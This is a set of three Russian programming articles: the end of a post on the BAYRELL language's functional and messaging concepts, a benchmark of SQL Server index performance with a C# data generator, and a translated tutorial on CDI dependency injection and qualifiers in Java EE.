Первый принцип – это способ написания функций, которые можно запустить на разных серверах или потоках (**масштабировать**). При этом масштабирование не влияет на результат этих функций. Функции могут работать параллельно, а их работа не влияет друг на друга. Другими словами, масштабирование, это как кассы в супермаркете. Каждая касса определяется алгоритмом, если нагрузка увеличивается, открываются несколько дополнительных касс, если нагрузка низкая, уменьшается количество касс. Сами кассы идентичны и работают независимо друг от друга. Покупатель может подойти к одной из касс, и расплатиться за товары.
Второй принцип – **отсутствие состояния**. Функция не хранит в себе состояний, и изменяемых данных. Не сохраняет файлы и сессии локально, чтобы их потом использовать. Два последовательных запроса от клиента могут отправиться к разным экземплярам функции, и эти экземпляры функции должны одинаковым образом обработать запросы от клиента.
Состояния лучше хранить во внешних системах: база данных, memcached и т.п. В 12 факторной модели он называются [сторонние службы](https://12factor.net/ru/backing-services).
Третьим принципом функционального программирования, является возможность создания **асинхронных функций**. Что это значит? Пример, из жизни. Пусть нам надо написать письмо человеку с каким-то предложением, и узнать его ответ. А после его ответа принять решение. Но пока человек, отвечает, думает, он может отвечать, допустим сутки, в это время, мы можем заняться другими делами, пойти в кино, сверстать сайт, и т.п. Очень важно, что задачу выполняет один человек, но он делает «параллельно» эти задачи.
В программировании также. Когда происходит запрос к базе данных, к другому сервису, чтение с диска, можно запустить другую вычислительную функцию. А когда придет результат, от базы, то продолжить выполнение первой функции, с того момента, где остановились. И при этом не обязательно заводить отдельные потоки на каждую функцию. Можно выполнять всё в одном потоке. Это называется **кооперативная многозадачность**. Кооперативная многозадачность работает в пределах одного потока, одного исполнителя.
Четвертый принцип, это применение **неизменяемых структур данных**. Неизменяемые структуры данных – это данные, которые нельзя поменять. Чтобы их поменять, нужно создать новый объект, с новыми значениями.
У неизменяемых структур данных три важных свойства:
* Чтобы узнать изменились ли данные, или нет, достаточно сравнить ссылку на объект. Если ссылка изменилась, значит это новый объект, и данные изменены.
* Их можно использовать в многопоточных системах, и не боятся, что какой-то поток, изменит объект, пока другой им пользуется. Можно обойтись без мьютексов.
* Если передавать неизменяемые объекты в функции, то можно не бояться, что функции изменят значения объекта. Тем самым алгоритм становится значительно проще. И ошибок гораздо меньше.
Я скажу, что необязательно везде использовать неизменяемые структуры данных. Например, внутри функции, можно использовать обычный массив, а затем на выходе, результат функции (массив) превратить в неизменяемый.
Пятый принцип функционального программирования, это **чистые функции**.
Чистая функция – это:
* Всегда возвращает одинаковый результат, на одни и те же входные данные.
* Не изменяет входные данные.
* Не обращается к базе, диску и прочим внешним источникам данных.
* Не является асинхронной.
* Не работает с глобальными переменными.
Очевидно, что результат выполнения чистых функций можно кэшировать. Если одни и те же входные данные, то достаточно один раз вычислить результат этой функции, и дальше его использовать. Оптимизация HTML рендера может использовать данное свойство, если функция рендера чистая, а модель данных страницы неизменяемая.
Шестой принцип – каррирование и **функции высших порядков**. Функция высшего порядка – это функция, которая возвращает или принимает в качестве аргумента другую функцию. А каррирование, это метод создания функций высшего порядка. Обычно каждая вложенная функция принимает один аргумент. Но это не обязательное условие.
Пример на языке BAYRELL Language:
```
/**
* Sum a + b
*/
lambda int sum(int a) => int (int b) use (a) => a + b;
```
или анонимная функция:
```
fn sum = int (int a) => int (int b) use (a) => a + b;
```
Функции высших порядков удобно применять в map, reduce, array\_filter (php), цепочках pipe.
Седьмой принцип, это **цепочки pipe**. Это такой способ написания вызова функций, когда результат предыдущей функции попадает на вход следующей. С pipe можно познакомится в Linux консоли.
Например:
```
ls -la | grep .txt
```
Это pipe. Он выводит список файлов с расширением txt. Сначала вызывается функция, которая выводит листинг всех файлов, затем вызывается фильтр, который оставляет только txt.
В BAYRELL Language можно тоже создавать pipe. Пример:
```
User user = new User()
|> User::setName('John')
|> User::addEmail("john@example.com")
;
```
Или проще:
```
User user = new User()
-> setName('John')
-> addEmail("john@example.com")
;
```
В данном случае создается пользователь, при вызове addEmail, первым аргументом передается объект пользователя и меняется имя, а вторая функция, добавляет email «john@example.com» и возвращает новый измененный объект. Сама передача объекта не указывается, поэтому функции содержат один аргумент, а не два. Это сделано для облегчения читаемости кода.
Pipe может быть асинхронным.
Более подробные примеры [в документации](https://docs.bayrell.org/ru/lang/lambda.html?utm_source=habr&utm_medium=article&utm_campaign=post_lang_2020_03_05).
Функциональное программирование очень хорошо подходит для разработки облачных систем. Есть даже целое направление FaaS – функция как сервис.
Концепция обмена сообщениями
----------------------------
Сейчас в BAYRELL Language обмен сообщениями работает во Frontend: события JavaScript, нажатие мыши, события компонентов. И отправка Ajax запросов на Backend.
Пример отправки сообщения:
```
MessageRPC msg = await @->sendMessage
(
new MessageRPC
{
"api_name": "App",
"space_name": "ApiInterface",
"method_name": "getDocument",
"data":
{
"document": "/ru/" ~ prefix,
},
}
);
Document document = msg->isSuccess() ? msg.response : null;
```
К сожалению, REST Api не полностью может покрыть необходимый функционал. REST это всего лишь CRUD. А иногда, требуется запускать запросы, которые, например, компилируют какой-то модуль, загружают файл на сервер, или отправляют уведомления о событиях. И использовать методы HTTP (GET,POST,PUT,DELETE) для передачи команды запроса не очень хорошая идея.
Поэтому, при разработке концепции обмена сообщениями, была взята концепция D-BUS за основу. Есть объект, который получает сообщения. У него есть некий интерфейс, а у интерфейса метод.
Интерфейсы позволяют стандартизовать обращения. Например, CRUDInterface. Если объект обладает этим интерфейсом, то все веб компоненты, в которых реализован этот интерфейс, смогут отображать данные из этого объекта. И свободно обращаться в этому объекту по API.
Работу обмена сообщениями планируется в будущем сделать, через различный транспорт: WebSocket, DBus, RabbitMQ. Пока реализован транспорт через Ajax в качестве вызова API.
О языках
--------
Я понял, во время разработки языка, что концепции языков С++, C#, Python, Java, PHP похожи. Отличается синтаксис, комьюнити и библиотеки, под эти языки.
Для себя я определил следующие правила, к которым нужно прислушиваться при выборе языка или фреймворка:
* Размер сообщества и наличие обилия библиотек. Писать все с нуля самому сложно. Я написал 4 фреймворка, и теперь понимаю, что порой лучше взять готовые решения.
* Оценить будущие затраты на сопровождения и доработку кода, который вы написали.
* Легко ли найти программистов под этот язык или фреймворк, и захотят ли они с ним работать. И сколько они будут просить зарплаты.
* Сможете ли вы найти решение возникшего вопроса в интернете за несколько минут, касательно выбранной технологии?
* Выдерживает ли этот язык или фреймворк нагрузку, которая предполагается при размещении в продакшн.
Каждый язык, фреймворк хорош по своему, и все зависит от ситуации. И перед выбором технологии нужно оценить риски. А затем принимать решение.
Будущие направления развития языка BAYRELL Language
---------------------------------------------------
То, зачем я начал разработку, это интеграция кода написанных на разных языках (Java, Python, C#, C++, NodeJS, JavaScript, Go, Lua). Или разработка библиотек под эти языки программирования. В рамках создания BAYRELL Language, я планирую максимально интегрировать его с этими языками. В идеале, я вообще задумываюсь, о свободной конвертации программ из одного языка в другой. Языки похожи, но они имеют свои различия и нюансы. Из-за этого транслятор из одного языка в другой создать сложно.
Я изучал данную проблему переиспользования исходного кода, в разных языках. Это называется Language Binding. В компилируемых языках есть dll, и все решается просто. Но появились интерпретируемые языки, и использование кода из одного языка другим, становится проблемой.
Решения, которые я нашел для интерпретируемых языков, лежат в области микросервисной архитектуры, поддержания библиотек сразу на нескольких языках или разработки трансляторов языков.
Еще одним направлением, является развитие **FaaS системы** и **визуального программирования**.
Это разработка мышкой функциональных программ в облаке. Я как программист очень много времени трачу на печатание кода, на постоянные сборки и компиляции. Хотя нужно тратить время на создание алгоритмов. Мне нравятся конструкторы сайтов, автоворонок продаж, чат ботов. Где можно мышкой потыкать, и получить готовую рабочую версию. Только зачастую, в некоторых конструкторах, нельзя писать кастомный код. Либо конструктор не дает выгрузить разработанный код. И еще в конструкторах нет Git.
Визуальное программирование сокращает время на создание программы. Так, к примеру, создать лэндинг на конструкторе можно за 2-3 дня. А если делать макет, дизайнить и верстать, то уйдет месяц, а то и больше.
Более подробно TODO List я [написал в документации](https://docs.bayrell.org/ru/main/todolist.html?utm_source=habr&utm_medium=article&utm_campaign=post_lang_2020_03_05)
Итог
----
Я понимаю, что я многого могу не знать, и где-то мне не хватает опыта, поэтому буду благодарен вашим комментариям.
По вопросам сотрудничества и вступления в сообщество пишите в ЛС.
Буду рад, если подпишитесь на меня в соц сетях.
Ссылки на соц сети [доступны на странице](https://blog.bayrell.org/ru/join-us?utm_source=habr&utm_medium=article&utm_campaign=post_lang_2020_03_05). | https://habr.com/ru/post/491280/ | null | ru | null |
# Оптимизация производительности SQL Server с использованием индексов
#### Введение
Как известно, [индексы](http://ru.wikipedia.org/wiki/Индекс_(базы_данных)) повышают производительность аналогично оглавлению или предметному указателю в кнгие. Прочитав несколько статей в интернете и пару глав из книжек, хотелось бы узнать, насколько индексы помогают увеличить скорость выборки данных из SQL Server. Рассмотрим на примере.
Для этого нам понадобятся две таблицы, связанные внешним ключом. В главной таблице будет 10 000 строк, во второй — 1 000 000. В первой таблице будет первичный ключ и 2 столбца с текстом, вторая таблица будет содержать первичный ключ, 2 текстовых поля, 2 числовых поля, дата, вычисляемый столбец и внешний ключ.
##### Структура базы данных
**Структура БД**
```
CREATE TABLE "maintable"(
"ID" INT NOT NULL IDENTITY (1, 1) PRIMARY KEY,
"name" NVARCHAR (50) NULL,
"description" NVARCHAR (100) NULL
)
CREATE TABLE "secondtable" (
"ID" INT NOT NULL IDENTITY (1, 1) PRIMARY KEY,
"sname" NVARCHAR (50) NULL,
"sdescr" NVARCHAR (100) NULL,
"somefirstnumber" INT DEFAULT 0,
"somesecondnumber" INT DEFAULT 1,
"somedatetime" DATETIME NOT NULL,
"howmanyhours" INT NULL DEFAULT 0,
"newdate" AS DATEADD(HOUR, "howmanyhours", "somedatetime"),
"mainID" INT NOT NULL
CONSTRAINT FK_SecondToMain FOREIGN KEY ("mainID")
REFERENCES "maintable" ("ID")
);
--Хранимые процедуры
CREATE PROCEDURE "insertintomain"
@Name NVARCHAR (50), @Descr NVARCHAR (100)
AS
INSERT INTO "SimpleIndex"."dbo"."maintable" ("name", "description")
VALUES (@Name, @Descr);
GO
CREATE PROCEDURE "insertintosecond"
@Sname NVARCHAR(50), @Sdescr NVARCHAR(100),
@Firstnumber INT, @Secondnumber INT,
@SomeDT DATETIME, @Hours INT, @MainID INT
AS
INSERT INTO "SimpleIndex"."dbo"."secondtable" (
"sname", "sdescr", "somefirstnumber",
"somesecondnumber", "somedatetime",
"howmanyhours", "mainID")
VALUES (
@Sname, @Sdescr,@Firstnumber, @Secondnumber,
@SomeDT, @Hours, @MainID)
GO
```
##### Вставка данных
Понятное дело, что просто так не вставить миллион строк, воспользуемся C#.
**Создадим простое консольное приложение**
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data;
using System.Data.SqlClient;
namespace SimpleAddingRandomRecordsToDatabase
{
class Program
{
static string alphabet()
{
//Количество пробелов означает частоту их появляния
string alphabet = "abcdefgh ijklmnopqrst uvwxyzабвгд еёжзийкл мнопросту фхцчшщыэюя ";
//преобразуем алфавит в юникод
Encoding enc = Encoding.UTF8;
var bytes = enc.GetBytes(alphabet);
alphabet = enc.GetString(bytes);
return alphabet;
}
static int alphlen = alphabet().Length;
static string getRandomString(int lenth, int rndparam, bool allowspacebars)
{
string str = "";
Random rand = new Random(rndparam);
for (int i = 0; i < lenth; i++)
{
int num = rand.Next(alphlen);
str = str + alphabet()[num];
}
if (!allowspacebars)
{
str = str.Replace(" ", "");
}
return str;
}
static void Main(string[] args)
{
string result;
Console.WriteLine("Нажмите 1 для начала операции");
result = Console.ReadLine();
if (result.Equals("1"))
{
//Подключаемся к БД
SqlConnection cn = new SqlConnection();
SqlConnectionStringBuilder cs = new SqlConnectionStringBuilder();
cs.IntegratedSecurity = true;
cs.DataSource = @"KONSTANTIN\KONSTANTINSQL";
cs.InitialCatalog = "SimpleIndex";
cn.ConnectionString = cs.ToString();
cn.Open();
//генерируем первые 10 000 записей для главной таблицы
int i2 = 0;
for (int i = 0; i < 10000; i++)
{
SqlCommand cm = cn.CreateCommand();
cm.CommandType = CommandType.StoredProcedure;
cm.CommandText = "insertintomain";
i2++;
cm.Parameters.Add(new SqlParameter("Name", getRandomString(50, i2, false)));
i2++;
cm.Parameters.Add(new SqlParameter("Descr", getRandomString(100, i2, true)));
cm.ExecuteNonQuery();
}
//Генерируем 1 000 000 записей, соедниённых с первой таблицей
i2 = 0;
for (int i = 0; i < 1000000; i++)
{
Random rand = new Random();
DateTime dt = DateTime.Now;
dt = dt.AddHours((-1) * rand.Next(2000));
SqlCommand cm = cn.CreateCommand();
cm.CommandType = CommandType.StoredProcedure;
cm.CommandText = "insertintosecond";
i2++;
cm.Parameters.Add(new SqlParameter("Sname", getRandomString(50, i2, false)));
i2++;
cm.Parameters.Add(new SqlParameter("Sdescr", getRandomString(100, i2, true)));
i2++;
Random rand2 = new Random(i2);
cm.Parameters.Add(new SqlParameter("Firstnumber", rand2.Next(10000)));
i2++;
rand2 = new Random(i2);
cm.Parameters.Add(new SqlParameter("Secondnumber", rand2.Next(100)));
cm.Parameters.Add(new SqlParameter("SomeDT", dt));
i2++;
rand = new Random(i2);
cm.Parameters.Add(new SqlParameter("Hours", rand.Next(30)));
i2++;
rand = new Random(i2);
cm.Parameters.Add(new SqlParameter("MainID", rand.Next(9999)+1));
cm.ExecuteNonQuery();
}
cn.Close();
Console.WriteLine("Данные вставлены.");
}
}
}
}
```
Запускаем консольное приложение, жмём «1» и ждём. У меня ушло минут 15-20 на вставку.
#### Описание результатов
В этом разделе будем рассматривать запросы выборки в проиндексированных и непроиндексированных столбцах.
Один кластеризованный индекс создаётся неявно — это первичный ключ.
##### Поиск по первичному ключу
Выполним поиск строки по первичному ключу, указывая на конкретный номер строки из десяти тысяч:
```
SELECT "name", "description" FROM "maintable" WHERE "ID" = 3823;
```
Время, затраченное на поиск: **1,523 секунды**.
Повторный запрос затратил **0,9 секунды**, а третий — **0,1 секунды**.
Выполним второй запрос с большой селективностью из этой же таблицы:
```
SELECT "name", "description" FROM "maintable" WHERE "ID" BETWEEN 5000 AND 6000;
```
Первый запрос затратил **0,3 секунды**, второй — **0,26 сек**., третий — **0,25 сек**.
Теперь выполним аналогичные запросы к таблице, содержащий миллион записей. По конкретному номеру строки:
```
SELECT * FROM "secondtable" WHERE "ID" = 728472;
```
Время, затраченное на поиск: **1,4 сек**., второй запрос показал **1,36 сек.**. Далее будет показано среднее время запроса.
Столбцы первичного ключа уже имеют индекс, поэтому повысить производительность скорее всего не получится. Исходя из результатов можно сказать, что повторные запросы с теми же параметрами увеличивают скорость поиска.
##### Поиск по шаблону
Рассмотрим поиск текста по шаблону с индексированными и непроиндексированными столбцами:
```
SELECT * FROM "maintable" WHERE "name" LIKE 'мл%';
```
Без индекса такой запрос выполняется за **0,172 секунды** из 10 000 строк. С индексом
```
CREATE NONCLUSTERED INDEX iName
ON "maintable" ("name")
```
такой выполняется за **0,112 секунды**, а с **составным индексом**, содержащим поля «name» и «description», запрос занял **0,09 секунды**.
Запрос
```
SELECT * FROM "maintable" WHERE "name" LIKE '%dc%';
```
выполняется за **0,172 секунды без индекса** и **0,112 секунды с индексом**.
Выполним поиск по шаблону к таблице, содержащей миллион записей.
```
SELECT * FROM "secondtable" WHERE "sname" LIKE 'юуж%';
```
Этот запрос **без индексации** занял бы в среднем **1,7 секунды**, тогда как **с индексом** столбца будет потрачено **0,15 секунды**.
##### Поиск по дате
Для начала выполним запрос малой селективности
```
SELECT * FROM "secondtable"
WHERE "somedatetime" BETWEEN '2012-26-11 11:30:00' AND '2012-26-11 11:32:00'
```
**Без индекса** он займёт в среднем **0,7 сек**., **проиндексированный — 0,22 сек**.
Запрос большой селективности (420600 строк)
```
SELECT * FROM "secondtable"
WHERE "somedatetime" BETWEEN '2012-26-11 11:30:00' AND '2012-31-12 11:32:00'
```
**Без индекса — 19,219 сек**, **с индексом** только поля даты — **9,9 сек**.
##### Запрос по дате к вычисляемому столбцу
```
SELECT * FROM "secondtable"
WHERE "newdate" BETWEEN '2012-26-11 11:30:00' AND '2012-31-12 11:32:00'
```
Этот запрос **без индекса** займет **12,2 секунды**, тогда как **с индексом — 9,75**. Важно учесть то, что исходный столбец, содержащий дату, уже был проиндексирован.
##### Объединение таблиц
При объединении таблиц советуют всегда индексировать столбец, являющийся внешним ключом. В следующем примере мы убедимся, что это на самом деле так.
```
CREATE NONCLUSTERED INDEX iFK ON "secondtable" ("mainID");
SELECT "name", "sname", "somefirstnumber"
FROM "maintable" M
INNER JOIN "secondtable" S
ON M."ID" = S."mainID"
WHERE
M."ID" = 8271
```
Такой запрос вернёт 101 строку. **Без индекса — 0,422 сек**, а **с индексом — 0,122 сек**. Как мы видим, скорость запроса увеличилась более чем в три раза. Рассмотрим остальные запросы, связанные с объединением.
Но индекс не всегда увеличивает производительность. Например, запрос (420 000 строк)
```
SELECT "name", "sname", "somefirstnumber"
FROM "maintable" M
INNER JOIN "secondtable" S
ON M."ID" = S."mainID"
WHERE
S."somedatetime" BETWEEN '2012-26-11 11:30:00' AND '2012-31-12 11:32:00';
```
показал одинаковые результаты без индекса, с индексом только внешнего ключа, внешнего ключа и даты, с составным индексом, одновременно включающим в себя эти два столбца — примерно **6,8 секунд**.
##### Объединение с поиском по шаблону
Выполним объединение с поиском по шаблону среди миллиона записей:
```
SELECT "name", "sname", "somefirstnumber"
FROM "maintable" M
INNER JOIN "secondtable" S
ON M."ID" = S."mainID"
WHERE
"sname" LIKE 'юуж%';
```
**Без индексов** запрос займёт **0,766 секунды** и вернёт 5 строк.
С индексом только внешнего ключа — **0,4 сек.**;
С индексом только текстового поля — **0,125 сек.**;
С индексом внешнего ключа и индексом текстового поля — **0,109 сек.**;
С составным индексом, содержащим внешний ключ и текстовое поле — **0,35 сек.**.
#### Сравнение результатов
Рассмотрим результаты в виде графиков. Вертикальная ось показывает затраченное время (*а не скорость!*).
1. Выборка по первичному ключу. Так как уже есть кластеризованный индекс, рассмотрим большую и малую селективную выборку из одной таблицы:
Из этого графика видно, что выборка большого количества данных обрабатывается быстрее.
2. Поиск по первичному ключу с объединением таблиц. Следующий график показывает, что индексирование внешнего ключа ускоряет операцию поиска более чем в три раза:
3. Поиск по шаблону текста. Из графика видно, что производительность во много раз вырастает, если использовать индекс при большом объёме данных:
4. Поиск по дате. Индексы значительно увеличивают производительность как для малой выборки, так и большой в пределах одной таблицы:
Объединение таблиц и поиск по дате показал одинаковые результаты как с индексами, так и без них.
5. Поиск по вычисляемому столбцу. Индекс также уменьшает время поиска.
6. Поиск по шаблону с объединением. Индекс текстового поля и оба индекса значительно увеличивают производительность:
#### Подведём итоги
Проанализировав полученные результаты, можно сказать, что:
* Внешние ключи желательно индексировать, это грозит значительным повышением производительности;
* Отдельно проиндексированные столбцы текста, даты, чисел повышают скорость запросов;
* Индексы лучше работают с таблицами, содержащими большое количество строк;
* Индексы лучше работают при выборке большого количества строк;
* Индексы слабо работают с вычисляемыми столбцами;
* В объединяющих запросах необходимо индексировать внешний ключ и столбец, по которому будет происходить поиск;
* Индекс не поможет, если конструкция WHERE содержит условия поиска для двух таблиц;
* На скорость вставки данных индексы не влияют.
Итак, мы видим, что индексирование значительно повышает SELECT запросы, однако индексы занимают дополнительную память и периодически должны быть перестроены. Оптимальное решение сложно найти, поэтому разработчики и администраторы баз данных тратят много времени на поиск золотой середины, к тому же индексы необходимо реорганизовывать. Но всё же, если у вас большое количество данных, то ответ, использовать индексы или нет, очевиден. | https://habr.com/ru/post/164717/ | null | ru | null |
# Внедрение зависимостей в CDI. Часть 1
После статьи о том, как [начать работу с CDI](https://antoniogoncalves.org/2011/01/12/bootstrapping-cdi-in-several-environments/) в вашем окружении и нескольких советов о том, как [интегрировать CDI в существующее Java EE 6 приложение](https://antoniogoncalves.org/2011/02/07/adding-cdi-to-an-existing-java-ee-6-application/), я хочу поговорить о внедрении зависимостей. Да, о простом внедрении или о том, **как провести внедрение одного бина в другой**. Из этой серии трех статей ([Часть 2](https://habrahabr.ru/company/at_consulting/blog/301768/), [Часть 3](https://habrahabr.ru/company/at_consulting/blog/302010/)) вы увидите, что есть множество различных способов: давайте начнем с самого простого — обыкновенного внедрения.
Внедрение по умолчанию
======================
Самый простой способ внедрения… простой. У вас есть *что-то*, и вы *что-то* внедряете в это. Почему я использую слово *что-то*? Потому что до Java EE 5 вы могли внедрять только ресурсы (EntityManager, Datasource, JMS фабрики...) в определенные компоненты (EJB и сервлеты). С CDI, вы можете **внедрять практически что угодно во что угодно**.
Для этой статьи я использовал следующее программное обеспечение:
* Java SE 1.6.0\_23
* GlassFish 3.1
* Maven 3.0.2
Для иллюстрации внедрения я буду использовать тот же пример, что и в [предыдущих статьях](https://antoniogoncalves.org/2011/02/07/adding-cdi-to-an-existing-java-ee-6-application/) и в своей книге [Java EE 6](https://antoniogoncalves.org/category/books/) (этот же пример Antonio использует и в книге [Beginning Java EE 7](http://www.apress.com/9781430246268) [[перевод](http://www.litres.ru/entoni-gonsalves/izuchaem-java-ee-7-2/)] — прим. пер.).
На диаграмме классов показаны следующие компоненты:
* `Book` — это простая JPA сущность с некоторыми атрибутами и именованными запросами
* `ItemEJB` — это EJB (без интерфейса), выполняющий CRUD операции с Book при помощи EntityManager'а
* `IsbnGenerator` — простой POJO класс, который генерирует случайное число ISBN (используется для Book)
* `ItemRestService` с аннотацией `@Path` (обозначающей REST сервис в JAX-RS), делегирующий CRUD операции `ItemEJB`
* `ItemServlet` — это сервлет, который использует `ItemEJB` для отображения всех книг из базы данных
Как вы видите, за исключением EntityManager'а, который внедряется с помощью `@PersistenceContext`, все остальные компоненты внедряются аннотацией `@Inject`. Вот несколько строк кода `ItemEJB`, получающих ссылку на EntityManager:
```
@Stateless
public class ItemEJB {
@PersistenceContext(unitName = "cdiPU")
private EntityManager em;
...
}
```
`ItemServlet` и `ItemRestService` очень похожи, так как в оба внедряются ссылки на `ItemEJB` и `IsbnGenerator`:
```
@WebServlet(urlPatterns = "/itemServlet")
public class ItemServlet extends HttpServlet {
@Inject
private IsbnGenerator numberGenerator;
@Inject
private ItemEJB itemEJB;
...
}
```
`IsbnGenerator` — это самый обычный POJO. Он ни от кого не наследуется и никак не проаннотирован:
```
public class IsbnGenerator {
public String generateNumber () {
return "13-84356-" + Math.abs(new Random().nextInt());
}
}
```
Во всех этих случаях есть только одна реализация на выбор (есть только один `ItemEJB` и один `IsbnGenerator`). Если у вас только одна реализацию, CDI сможет её внедрить. Далее мы поговорим о **внедрении по умолчанию**.
На самом деле код:
```
@Inject IsbnGenerator numberGenerator
```
мог бы быть написан вот так:
```
@Inject @Default IsbnGenerator numberGenerator
```
`@Default` — это встроенный **спецификатор**, который информирует CDI о том, что внедрять бин нужно реализацией по умолчанию. Если вы определяете бин без спецификатора, он будет автоматически специфицирован `@Default`. Следующий код идентичен предыдущему:
```
@WebServlet(urlPatterns = "/itemServlet")
public class ItemServlet extends HttpServlet {
@Inject @Default
private IsbnGenerator numberGenerator;
...
}
@Default
public class IsbnGenerator {
public String generateNumber () {
return "13-84356-" + Math.abs(new Random().nextInt());
}
}
```
Если для внедрения у вас есть только одна реализация `IsbnGenerator`, то сработает обработчик по умолчанию и обыкновенный `@Inject` сделает свою работу. Но иногда необходимо выбирать между несколькими реализациями, вот тогда вступает в игру **спецификатор**.
> В этой статье я использую термин *бин*, но если быть более точным, я должен говорить *управляемый бин* (например *бин, управляемый CDI*). ManagedBeans были введены в Java EE 6.
Неоднозначные внедрения и спецификаторы
=======================================
Для какого-то типа бинов может быть **несколько бинов, реализующих этот тип**. Например, наше приложение может иметь две реализации интерфейса `NumberGenerator`: `IsbnGenerator`, генерирующий 13-значный номер и `IssnGenerator`, генерирующий 8-значный. Компонент, которому необходимо генерировать 13-значный номер должен каким-то образом различать две реализации. Один из вариантов — явно указывать класс (`IsbnGenerator`), но тогда создается жесткая зависимость между компонентой и реализацией. Другой вариант — это описание внедрения подходящего бина во внешней XML-конфигурации. CDI же использует аннотации спецификаторы для получения строгой типизации и слабой связности.
> В данной статье я использую внедрение через поле (атрибут) класса, но с CDI вы можете также использовать внедрение через сеттеры или конструкторы.
Предположим, для каких-то целей `ItemServlet` создает книги с 13-значным ISBN номером, а `ItemRestService` — с 8-значным ISSN номером. В оба класса (`ItemServlet` и `ItemRestService`) внедрены ссылки на один и тот же интерфейс `NumberGenerator`, но какая в итоге реализация будет использоваться? Вы не знаете? CDI тоже не знает, и вы получите сообщение об ошибке:
```
Ambiguous dependencies for type [NumberGenerator] with qualifiers [@Default] at injection point [[field] @Inject private ItemRestService.numberGenerator]. Possible dependencies [[Managed Bean [class IsbnGenerator] with qualifiers [@Any @Default], Managed Bean [class IssnGenerator] with qualifiers [@Any @Default]]].
```
Это означает, что нужно убрать неоднозначность и указать CDI, какой бин и где должен внедряться. Если вы раньше использовали Spring, то первое, что придёт вам на ум, это "*давайте использовать beans.xml*". Но, как рассказывается в [этом посте](http://seamframework.org/Documentation/WhatIsBeansxmlAndWhyDoINeedIt.html), "*beans.xml не тот XML, где определяются бины*". С CDI вы должны использовать спецификаторы (аннотации).
Есть [три встроенных](http://docs.jboss.org/cdi/spec/1.0/html_single/#builtinqualifiers) в CDI спецификатора:
* `@Default`: если бин не содержит в определении спецификатор, то он имеет `@Default` спецификатор
* `@Any`: позволяет приложению определять спецификаторы динамически
* `@New`: позволяет приложению получить новый специфицированный бин (с CDI 1.1 спецификатор `@New` [считается устаревшим](http://docs.jboss.org/cdi/spec/1.1/cdi-spec.html#new) — прим. пер.)
Спецификатор — это семантическая конструкция, связывающая тип с некоторой его реализацией. Например, вы могли бы ввести спецификатор для представления *генератора 13-значных номеров* или *генератора 8-значных номеров*. В Java спецификаторы представляются аннотациями, определенными как `@Target({FIELD, TYPE, METHOD})` и `@Retention(RUNTIME)`. Они объявляются с указанием мета-аннотации `@javax.inject.Qualifier` следующим образом:
```
@Qualifier
@Retention(RUNTIME)
@Target({FIELD, TYPE, METHOD})
public @interface EightDigits {
}
@Qualifier
@Retention(RUNTIME)
@Target({FIELD, TYPE, METHOD})
public @interface ThirteenDigits {
}
```
Как вы видите, я только что очень просто определил два спецификатора. Как я теперь могу их использовать? Давайте посмотрим на диаграмму:
Прежде всего, спецификатором необходимо проаннотировать соответствующую реализацию. Как вы видите, `@ThirteenDigit` аннотирует `IsbnGenerator`, а `@EightDigit` — `IssnGenerator`:
```
@EightDigits
public class IssnGenerator implements NumberGenerator {
public String generateNumber() {
return "8-" + Math.abs(new Random().nextInt());
}
}
@ThirteenDigits
public class IsbnGenerator implements NumberGenerator {
public String generateNumber() {
return "13-84356-" + Math.abs(new Random().nextInt());
}
}
```
Затем компоненты, в которые внедряются ссылки на интерфейс `NumberGenerator`, необходимо реализовывать следующим образом:
```
@WebServlet(urlPatterns = "/itemServlet")
public class ItemServlet extends HttpServlet {
@Inject @ThirteenDigits
private NumberGenerator numberGenerator;
...
}
@Path("/items")
@ManagedBean
public class ItemRestService {
@Inject @EightDigits
private NumberGenerator numberGenerator;
...
}
```
Вам не нужна внешняя конфигурация. Вот почему CDI предписывает использовать строгую типизацию. Вы можете переименовывать ваши реализации как захотите, точки внедрения при этом не будут меняться (это слабая связность). Обратите также внимание на то, что бин может быть объявлен несколькими спецификаторами. Как вы можете видеть, CDI — это элегантный способ иметь типобезопасное внедрение зависимостей. Но если вы начинаете создавать аннотации каждый раз, когда вам нужно что-то внедрить, в конечном итоге ваш код будет трудночитаемым. В этом случае вам помогут перечисления.
Спецификаторы с перечислениями
==============================
Каждый раз, когда вам необходимо выбирать между реализациями, вы создаете аннотацию. Тогда, если вам нужен дополнительный *генератор 2-значных номеров* или *генератор 10-значных номеров*, вы создаете всё больше и больше аннотаций. Похоже, что мы переходим от XML ада к аду аннотаций! Один из способов избежать их размножения — это использовать перечисления следующим образом:
```
@WebServlet(urlPatterns = "/itemServlet")
public class ItemServlet extends HttpServlet {
@Inject @NumberOfDigits(Digits.THIRTEEN)
private NumberGenerator numberGenerator;
...
}
@Path("/items")
@ManagedBean
public class ItemRestService {
@Inject @NumberOfDigits(Digits.EIGHT)
private NumberGenerator numberGenerator;
...
}
@NumberOfDigits(Digits.THIRTEEN)
public class IsbnGenerator implements NumberGenerator {
public String generateNumber() {
return "13-84356-" + Math.abs(new Random().nextInt());
}
}
@NumberOfDigits(Digits.EIGHT)
public class IssnGenerator implements NumberGenerator {
public String generateNumber() {
return "8-" + Math.abs(new Random().nextInt());
}
}
```
Как вы видите, я избавился от спецификаторов `@ThirteenDigits` и `@EightDigits` и использую единственный спецификатор `@NumberOfDigit`, в котором перечисление используется как значение аннотации. Вот код, который вы должны написать:
```
@Qualifier
@Retention(RUNTIME)
@Target({FIELD, TYPE, METHOD})
public @interface NumberOfDigits {
Digits value();
}
public enum Digits {
TWO,
EIGHT,
TEN,
THIRTEEN
}
```
Заключение
==========
Я не знаю как вы, но я люблю CDI. Мне очень нравится, как CDI **типобезопасно** связывает бины обычной Java и **без XML**. Да, я признаю, что не всё так красиво. Первое, что я вижу, — это **разрастание числа аннотаций** в вашем коде. Благодаря перечислениям это можно ограничинить. Второе — это **поддержка в IDE**. Ваша IDE должна знать, что:
```
@Inject @NumberOfDigits(Digits.EIGHT) NumberGenerator numberGenerator
```
ссылается на `IssnGenerator`. Что касается поддержки в IDE, то я не могу сказать, что глубоко разбирался в этой теме. Я использую Intellij IDEA, и в нём поддержка CDI просто удивительна. Я могу перемещаться между бинами, не думая об их реализации. Я полагаю, в NetBeans какая-то поддержка тоже реализована… но мне интересно, есть ли она в Eclipse ;o) (статья опубликована в 2011 году. — прим. пер.)
В следующей статье я рассмотрю [различные точки внедрения](https://habrahabr.ru/company/at_consulting/blog/301768/).
Исходный код
============
[Скачайте код](https://github.com/agoncal/agoncal-sample-cdi) и расскажите, что вы о нем думаете. | https://habr.com/ru/post/301636/ | null | ru | null |
